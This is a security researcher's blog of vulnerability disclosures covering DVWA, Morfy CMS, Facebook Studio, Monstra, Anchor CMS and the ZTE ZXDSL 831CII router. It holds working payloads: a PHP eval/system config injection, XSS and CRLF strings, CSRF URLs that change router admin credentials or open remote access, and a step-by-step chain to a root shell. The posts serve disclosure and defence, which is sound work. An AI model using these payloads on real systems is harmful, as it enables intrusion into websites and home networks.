findings

Chrismas Gift: A better & safer DVWA (to all!)

9:55 AM




Thanks to me, DVWA have been facing some unintended security abuse, including a very severe & unintended remote command execution. This one was the most severe of all the unintended bugs I discovered in DVWA. Using this, just because you have DVWA installed and your server is running, anybody can execute a command on your box using a CSRF (yeah, I know how weird that might sound for some of you, long story short it was nasty).
 
Not yet pulled at github, but for now, it can be downloaded at dropbox!

So I contacted RandomStorm & Ryan Dewhurst (Original author of DVWA). And, after further review, we concluded that DVWA high level should no longer be considered safe. Since it is supposed to teach developers the safest way of basic web app security, and it didn’t (it did at one point). But within time, security grows and multiple attack vectors rise such as the Rosetta Flash.

Mainly targeting to fix the RCE by deploying an anti-CSRF token, I started the project with a colleague. Then we got time, so what the hell, fixed a bunch of other bugs (only in the high level, since that’s what’s supposed to be secured), and changed the graphics to a hacker-friendly design. We fixed a bunch of unintended bugs in the high level and in the site itself, mostly file manipulation included.


In case you didn’t check out my first post about most of the issues, I won’t (re?)cover them here. Check them out at here.

In this post I will mention the not-so-popular yet deadly dangerous bug “Rosetta Flash”. On ‘most’ upload forms,

This vulnerability allows an attacker read the client side source code of a website from a different origin (say hacker.com) and then look for potentially sensitive data in those pages for example - CSRF prevention tokens and then successfully mount a side-wide CSRF attack.

Flash’s weird problem(?) - Attacking

“   An attacker creates a malicious Flash (SWF) file
    The attacker changes the file extension to JPG
    The attacker uploads the file to victim.com
    The attacker embeds the file on attacker.com using an embed tag with type “application/x-shockwave-flash

    The victim visits attacker.com, loads the file as embedded with the tag
    The attacker can now send and receive arbitrary requests to victim.com using the victims session
    The attacker sends a request to victim.com and extracts the CSRF token from the response or read messages or perform any action. (regardless of Content-Type)”

We fixed this simply by deploying a Content-Disposition-header and a confirmation wheater the uploaded file was really an image and not a flash or any other format by using getimagesize() & imagecreatefromjpeg() also, an X-Content-Type: nosniff header to not let Internet explorer confuse the file as an invalid data and sniff its contents as text/html (could be abused to create a persistent XSS).

If your upload script looks like the one in DVWA, check out the new version (more to talk about). The others include giving the uploaded files random names, or it might result XSS and in some cases file inclusion when files names like “../../../config.php%0.0shit.jpg” got uploaded.

Conclusion

Overtime, old security becomes a joke.
& Happy Holidays!


bypass

Morfy CMS Multiple Vulnerabilities

11:19 AM



Site: morfy.monstra.org;

Executing Commands like a Boss! (*cough cough*)

Versions <= 1.0.5 are vulnerable to the following attacks if certain requirements fulfill

1.       Remote Command Execution

Vulnerable Code
./install.php Line 57

                $post_site_url = isset($_POST['site_url']) ? $_POST['site_url'] : '';

./install.php Line 64-77

                file_put_contents('config.php', "<?php
    return array(
        'site_url' => '{$post_site_url}',
        'site_charset' => 'UTF-8',
        'site_timezone' => '{$post_site_timezone}',
        'site_theme' => 'default',
        'site_title' => '{$post_site_title}',
        'site_description' => '{$post_site_description}',
        'site_keywords' => '{$post_site_keywords}',
        'email' => '{$post_email}',
        'plugins' => array(
            'markdown',
            'sitemap',
        ),    );");

The problem is that it adds multiple unsanitized user input inside a php configuration file (config.php)

Exploitation: goto install.php?

 Add

website.com}','yibelo'=> eval("system('dir');"),// as your website

This will store the following in config.php

return array(
        'site_url' => '{website.com}','yibelo'=> eval("system('dir');"),// ',
        'site_charset' => 'UTF-8',
        'site_timezone' => '{$post_site_timezone}',
        'site_theme' => 'default',
        'site_title' => '{$post_site_title}',
        'site_description' => '{$post_site_description}',
        'site_keywords' => '{$post_site_keywords}',
        'email' => '{$post_email}',
        'plugins' => array(
            'markdown',
            'sitemap',
        ),    );");

Then navigate to site.com/config.php then system(‘dir’); (list of files in current directory) will be displayed

http://www.vulnerability-lab.com/get_content.php?id=1367


2.       Cross Site Scripting


Vulnerable Code
./install.php Line 14
$site_url = 'http://'.$_SERVER["SERVER_NAME"].$port.str_replace(array("index.php", "install.php"), "", $_SERVER['PHP_SELF']);
./install.php Line 20
$rewrite_base = str_replace(array("index.php", "install.php"), "", $_SERVER['PHP_SELF']);
./install.php Line 226
<input type="text" name="site_url" class="form-control" id="site_url" placeholder="Enter Site Url" value="<?php echo $site_url; ?>">

Exploitation
Send a GET request payload like
http://localhost/morfy-zone/install.php/”><svg/onload=confirm(1)>

Will output

<input type="text" name="site_url" class="form-control" id="site_url" placeholder="Enter Site Url" value="”><svg/onload=confirm(1)>

And a reflective XSS shall occur if install.php isn't removed.

Vulnerable? The easiest fix (for both issues) will be to remove install.php the second you finished installing morfy.

Another one for the f*** sakes!


2014-10-12 – Contacted Developers (no reply)
2014-11-00 – Another attempt to contact developers (no reply)
2014-12-17 – Public Disclosure.



bugbounty

XSS Bug on Facebook Studio

8:41 AM



VL-MAG: http://magazine.vulnerability-db.com/?q=articles/2014/12/11/whitehat-hacker-discovered-details-application-side-facebook-studio-dashboard

This is a cool Second-Order-Injection XSS against Facebook Studio that was caused by data input on Facebook Mobile (Facebook Studio).

This vulnerability is created because of improper user input parsing. First, I noticed facebook-studio.com doesn’t use Linkshim (malicious link detection system for Facebook). When I saw that, I immediately wrote to Facebook about it. But then I realized, this is not exploitable because it fetches the URL’s from My Facebook profile. Take: Evilzone.org is a site blocked by Linkshim.

Meaning, if I add “google.com” as my website on Facebook, it will be fetched to my Studios account. which means, there needs to be no linkshim because it was first checked on Facebook.

Linkshim uses a list of sites to identify if the site is malicious or not. So bypassing basically includes cheating the linkshim into thinking our site is not included. As always, I started with case-sensetivity bypasses, hoping, if evilzone.org is blocked, to bypass it with EVILZoNE.org, it obviously didn't work.

Then I tried URL encoding. There is a value in html called shy. That basically, shies/hides elements. This tag can be used in href elements. So <a href=”evil&shy;zone.org” >X</a> is equvallent to evilzone.org so all I had to do is add evil&shy;zone.org as my website using the mobile interface of Facebook (since the main site sends requests to verify, and the mobile version doesn’t)

So when Facebook studio fetches my URL from my Facebook profile and add it in href tag (hoping it is a safe link checked by Linkshim, and it is), it will become “<a href=”evil&shy;zone.org” >X</a>” when clicked redirects to evilzone.org, which is considered a linkshim evasion.

Seeing the source, I then wondered why &shy; still itself and not encoded. So I tried my chance with http://something.com”><script>alert(0);</script> but that link become

<a href=” http://something.com”” target=’_’ >X</a>
It basically means, the inputs < , >, /  and anything following them is filtered. So I tried event handler XSS’es since quotes aren’t blocked with payloads like 

http://something.com”onmouseover=”alert(1);//&shy;.

So that will be rendered as
<a href=” http://something.com”onmouseover=”alert(1); //&shy;.” target=’_’ >X</a>
The bad news is I can’t make it self-executable even using autofocus and onfocus because it is href attribute. So I tried ways of making this self-executable. Then, I  use CSS to make the font very big, so it will fill the screen. So onmouseover will automatically get it triggered because the mouse will be all over it. Note: since it’s a URL for Facebook, no spaces were allowed. 

http://something.com”onmouseover=’alert(31337);’style=”font-size:100; background:black”&shy;.
That was the final payload I added to my Facebook account, as my website. The problem with Facebook was that when adding it to the database, I don’t know why Facebook didn’t html entity it. So when Studio featched the contents, it became

<a href=”http://something.com”onmouseover=’alert(31337);’style=”font-size:100;background:black”&shy;.”” target=’_’ >X</a>

And creating us a nice self executing XSS.

www.vulnerability-lab.com/get_content.php?id=1368

Nov 22, 2014 7:12am - Notified Facebook
Nov 24, 2014 1:30pm - Facebook Notified its out of scope
Dec 2, 2014 10:42am - Issue got fixed.
Dec 9, 2014 08:03am - Public Disclosure

Conclusion

No matter where the source is, do not trust user input data even while fetching it from a trusted source.

cve

(Monstra <= 3.0.1 & Anchor <= 0.9) CVE-2014-9006, CVE-2014-9182

2:07 AM




Monstra CMS 3.0.1 (current version at the time of writing) and below Vulnerabilities 

HTTP Response Splitting (CRLF Injection)

http://packetstormsecurity.com/files/129043/Monstra-3.0.1-HTTP-Response-Splitting.html 

/plugins/captcha/crypt/cryptographp.php
 
<?php
...
SetCookie("cryptcookietest", "1");
Header("Location:
cryptographp.inc.php?cfg=".$_GET['cfg']."&sn=".session_name()."&".SID);
... ?>

So providing 

http://[host]/[loc]/plugins/captcha/crypt/cryptographp.php?cfg=%0A%0DContent-T
ype:%20text/html%0A%0D%0A%0D%3Cscript%3Ealert%281%29%3C/script%3E& 
 
Using %0A%0D%0A%0D will allow you to add headers. this can be used to cause 
reflective XSS, Content-Spoofing, Open Redirection, and many more. 


Would result a CRLF injection.

Note: PHP version must allow multiple headers. this is fixed >5.6.2

Bruteforce Mitigation Bypass [CVE-2014-9006]

http://packetstormsecurity.com/files/129082/Monstra-3.0.1-Bruteforce-Mitigation-Bypass.html 

admin/index.php

:33-42

// Admin login
if (Request::post('login_submit')) {

    if (Cookie::get('login_attempts') && Cookie::get('login_attempts') >= 5) {

        $login_error = __('You are banned for 10 minutes. Try again
later', 'users');

    } else {

        $user = $users->select("[login='" .
trim(Request::post('login')) . "']", null);
}

 
 
The code blocks bruteforce attempts simply by placing a cookie called 
"login_attempts" in the victims browser an attacker can craft a bruteforce script
that either clears cookies or does not send cookies at all.

Anchor CMS <= 0.9.2 Header Injection [CVE-2014-9182]

Anchor CMS versions 0.9.2 and below suffer from a header injection vulnerability.

Anchor CMS <= 0.9.2 (Current Version)
header injection
in anchor/models/comment.php
 <?php
...
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
$headers .= 'From: notifications@' . $_SERVER['HTTP_HOST'] . "\r\n";
49: mail($to, __('comments.notify_subject'), $message, $headers);
 ...  ?>
so it  is possible to inject arbitary "From" headers or any header
using CRLF. simply by tampering and changing the host to bad.com or
bad.com\r\nNew-Header:Hacked!
http://1337day.com/exploit/22851

cve

ZTE ZXDSL 831C|| Multiple Vulnerabilities

2:11 PM



ZTE 831CII suffers from login bypass, cross site request forgery, hardcoded administrative credential, and cross site scripting vulnerabilities.

Hardcoded administrative credential 


In ZTE routers the username is a constant which is “admin” and the password by default is “admin”

Insecure Direct Object Reference [CVE-2014-9184]


ZTE ZXDSL 831CII suffers from an insecure direct object reference vulnerability that allows for authentication bypass.

The modem usually serves html files & protects them with HTTP Basic authentication. however, the cgi files, does not get this protection. so simply requesting any cgi file (without no authentication) would give a remote attacker full access to the modem and then can easily be used to root the modem and disrupt network activities.

So requesting gateway (in this case, 192.168.1.1) would result HTTP Authentication request, but simply requesting http://192.168.1.1/main.cgi will bypass it.

PoC:
http://192.168.1.1/adminpasswd.cgi (will result admin password change page) - viewing the source will show the current password (unencrypted)
The page does not contain current password, also have no ani-CSRF token. wtf!
http://192.168.1.1/userpasswd.cgi
http://192.168.1.1/upload.cgi
http://192.168.1.1/conprocess.cgi
http://192.168.1.1/connect.cgi

Persistent XSS [CVE-2014-9020]

 
http://192.168.1.1/psilan.cgi?action=save&ethIpAddress=192.168.1.1&ethSubnetMask=255.255.255.0&hostname=ZXDSL83C1II&domainname=home%27;alert%280%29;//&enblUpnp=1&enblLan2=0
 
Any user browsing to http://192.168.1.1/main.html will have a stored xss executed!

XSS'es [CVE-2014-9021]


TR-069 Client page: Stored. executes when users go to http://192.168.1.1/tr69cfg.html

http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.etc.et:9090/web/tr069%27;alert%280%29;//&tr69cAcsUser=cpe&tr69cAcsPwd=cpe&tr69cConnReqUser=itms&tr69cConnReqPwd=itms&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0

http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.site.et:9090/web/tr069&tr69cAcsUser=cpe%27;alert%280%29;//&tr69cAcsPwd=cpe&tr69cConnReqUser=itms&tr69cConnReqPwd=itms&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0

http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.site.et:9090/web/tr069&tr69cAcsUser=cpe&tr69cAcsPwd=cpe%27;alert%280%29;//&tr69cConnReqUser=itms&tr69cConnReqPwd=itms&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0

http://192.168.1.1/tr69cfg.cgi?tr69cInformEnable=1&tr69cInformInterval=43200&tr69cAcsURL=http://acs.site.et:9090/web/tr069&tr69cAcsUser=cpe&tr69cAcsPwd=cpe&tr69cConnReqUser=itms&tr69cConnReqPwd=itms%27;alert%280%29;//&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0%27;alert%280%29;//


Time and date page (/sntpcfg.sntp) - Persistent

http://192.168.1.1/sntpcfg.sntp?ntp_enabled=0&tmYear=2000%27lol&tmMonth=01&tmDay=01&tmHour=00&tmMinute=30&timezone_offset=+08:00&timezone=Beijing,%20Chongqing,%20Hong%20Kong,%20Urumqi%22;alert%280%29;//&use_dst=0&enblLightSaving=0


Quick Stats page:

192.168.1.1/psilan.cgi?action=save&ethIpAddress=192.168.1.1&ethSubnetMask=255.255.255.0&hostname=ZXDSL83C1II';alert(0);//&domainname=home&enblUpnp=1&enblLan2=0
http://192.168.1.1/psilan.cgi?action=save&ethIpAddress=192.168.1.1&ethSubnetMask=255.255.255.0&hostname=ZXDSL83C1II&domainname=home%27;alert%280%29;//&enblUpnp=1&enblLan2=0

CSRF based Stored XSS


 http://192.168.1.1/adminpasswd.cgi?action=save&sysUserName=%27;alert%280%29;//&sysPassword=37F6E6F627B6 - letting an admin visit this link would result the admin username changed to ';alert(0);// also a stored XSS in the home page.

Admin account override CSRF [CVE-2014-9019]


There is no token/capcha or even current password prompt when the admin changes the password, and credentials are sent over GET.
PoC: http://192.168.1.1/adminpasswd.cgi?action=save&sysUserName=admin&sysPassword=F6C656269697
If an authenticated admin browses that link their credentials will become admin:yibelo

UI Redressing

The modem (like most modems) does not have a clickjacking protection. thus, can be used to modify settings, override admin accounts by a simple clickjack. forexample by using http://192.168.1.1/adminpasswd.html it is possible into tricking an admin submit a form with our credintials (since it doesn't require current password)

Not Using SSL


The modem does not use HTTPS, so anyone can use MiTM to sniff ongoing actions, possibly gain user credentials.
Unrestricted privileges
Anyone who is connected to the modem with Telnet or tftp is root. simply telneting and authenticating as admin:admin and typing sh and echo $USER would prove that.

Enable Remote Access CSRF [CVE-2014-9027]


Using this an attacker can trick an admin visit a page that tricks them into enabling remote access to the modem out side of the LAN.
so an attacker can attack the modem out side the lan; then an attacker can use this to escilate the attack.

Enable Access from web browser :80

http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=0&enblftp=0&ftpport=21&enblhttp=1&httpport=80&enblsnmp=0&snmpport=161&enbltelnet=0&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22

Enable Access from Telnet :23

http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=0&enblftp=0&ftpport=21&enblhttp=0&httpport=80&enblsnmp=0&snmpport=161&enbltelnet=1&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22

Enable Access from TFTP :69

http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=0&enblftp=0&ftpport=21&enblhttp=0&httpport=80&enblsnmp=0&snmpport=161&enbltelnet=0&telnetport=23&enbltftp=1&tftpport=69&enblssh=0&sshport=22

Enable Remote Access from all {80,69,161,23}

http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=1&enblftp=1&ftpport=21&enblhttp=1&httpport=80&enblsnmp=1&snmpport=161&enbltelnet=1&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22

and what a fucked up modem I have :'( Good thing I am root.

Exploitation

from all those exploits, its easy to construct a remote root command execution exploit against any of these modems. 

1. Make a logged in admin enable remote access for us with 
http://192.168.1.1/accessremote.cmd?remoteservice=pppoe_8_81&enblicmp=1&enblftp=1&ftpport=21&enblhttp=1&httpport=80&enblsnmp=1&snmpport=161&enbltelnet=1&telnetport=23&enbltftp=0&tftpport=69&enblssh=0&sshport=22 (Only if we are outside LAN)

2.  Go to http://192.168.1.1/adminpasswd.cgi and change admin password or copy the current one (recommended)
3.  telnet to 192.168.1.1 with the admin password and username (most likely admin:admin) and what do you know,

4. type sh then echo $USER and become the root of the network.

5. RULE'em ALL!

http://packetstormsecurity.com/files/129015/ZTE-ZXDSL-831CII-Insecure-Direct-Object-Reference.html

http://packetstormsecurity.com/files/129017/ZTE-ZXDSL-831-Cross-Site-Scripting.html

http://packetstormsecurity.com/files/129016/ZTE-831CII-Hardcoded-Credential-XSS-CSRF.html

Happy Hacking! :D